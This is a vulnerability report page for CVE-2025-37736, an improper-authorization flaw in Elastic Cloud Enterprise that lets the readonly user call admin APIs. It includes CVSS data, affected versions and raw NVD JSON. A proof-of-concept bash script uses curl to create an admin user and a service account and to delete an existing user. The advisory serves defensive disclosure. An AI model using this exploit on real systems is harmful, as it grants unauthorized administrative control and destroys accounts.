Security Vulnerability Report
中文
CVE-2025-37736 CVSS 8.8 HIGH

CVE-2025-37736

Published: 2025-11-07 23:15:44
Last Modified: 2025-12-11 21:00:55

Description

Improper Authorization in Elastic Cloud Enterprise can lead to Privilege Escalation where the built-in readonly user can call APIs that should not be allowed. The list of APIs that are affected by this issue is: post:/platform/configuration/security/service-accounts delete:/platform/configuration/security/service-accounts/{user_id} patch:/platform/configuration/security/service-accounts/{user_id} post:/platform/configuration/security/service-accounts/{user_id}/keys delete:/platform/configuration/security/service-accounts/{user_id}/keys/{api_key_id} patch:/user post:/users post:/users/auth/keys delete:/users/auth/keys delete:/users/auth/keys/_all delete:/users/auth/keys/{api_key_id} delete:/users/{user_id}/auth/keys delete:/users/{user_id}/auth/keys/{api_key_id} delete:/users/{user_name} patch:/users/{user_name}

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:elastic:elastic_cloud_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elastic_cloud_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
Elastic Cloud Enterprise < 3.8.3
Elastic Cloud Enterprise < 4.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-37736 PoC - Elastic Cloud Enterprise Privilege Escalation # Requires readonly user credentials ECE_HOST="your-ece-host.com" USERNAME="readonly_user" PASSWORD="readonly_password" # Create a new service account (should not be allowed for readonly user) echo "[*] Attempting to create service account..." curl -k -X POST "https://$ECE_HOST:12400/api/v1/platform/configuration/security/service-accounts" \ -u "$USERNAME:$PASSWORD" \ -H "Content-Type: application/json" \ -d '{"id":"attacker-service-account","name":"Malicious Service Account"}' # Create a new user (should not be allowed for readonly user) echo "[*] Attempting to create new user..." curl -k -X POST "https://$ECE_HOST:12400/api/v1/users" \ -u "$USERNAME:$PASSWORD" \ -H "Content-Type: application/json" \ -d '{"user_name":"attacker","roles":["admin"]}' # Delete an existing user (should not be allowed for readonly user) echo "[*] Attempting to delete user..." curl -k -X DELETE "https://$ECE_HOST:12400/api/v1/users/admin_user" \ -u "$USERNAME:$PASSWORD" echo "[+] Privilege escalation test completed"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37736", "sourceIdentifier": "[email protected]", "published": "2025-11-07T23:15:44.350", "lastModified": "2025-12-11T21:00:54.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authorization in Elastic Cloud Enterprise can lead to Privilege Escalation where the built-in readonly user can call APIs that should not be allowed. The list of APIs that are affected by this issue is:\n\n\n\n\n\npost:/platform/configuration/security/service-accounts\ndelete:/platform/configuration/security/service-accounts/{user_id}\npatch:/platform/configuration/security/service-accounts/{user_id}\npost:/platform/configuration/security/service-accounts/{user_id}/keys\ndelete:/platform/configuration/security/service-accounts/{user_id}/keys/{api_key_id}\npatch:/user\npost:/users\npost:/users/auth/keys\ndelete:/users/auth/keys\ndelete:/users/auth/keys/_all\ndelete:/users/auth/keys/{api_key_id}\ndelete:/users/{user_id}/auth/keys\ndelete:/users/{user_id}/auth/keys/{api_key_id}\ndelete:/users/{user_name}\npatch:/users/{user_name}"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elastic_cloud_enterprise:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.0", "versionEndExcluding": "3.8.3", "matchCriteriaId": "5B804FE4-28AC-46F1-B587-6C0750FEBB0B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elastic_cloud_enterprise:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.3", "matchCriteriaId": "3BF4E37E-B120-4F9B-9570-A349F572D710"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/elastic-cloud-enterprise-ece-3-8-3-and-4-0-3-security-update-esa-2025-22/383132", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}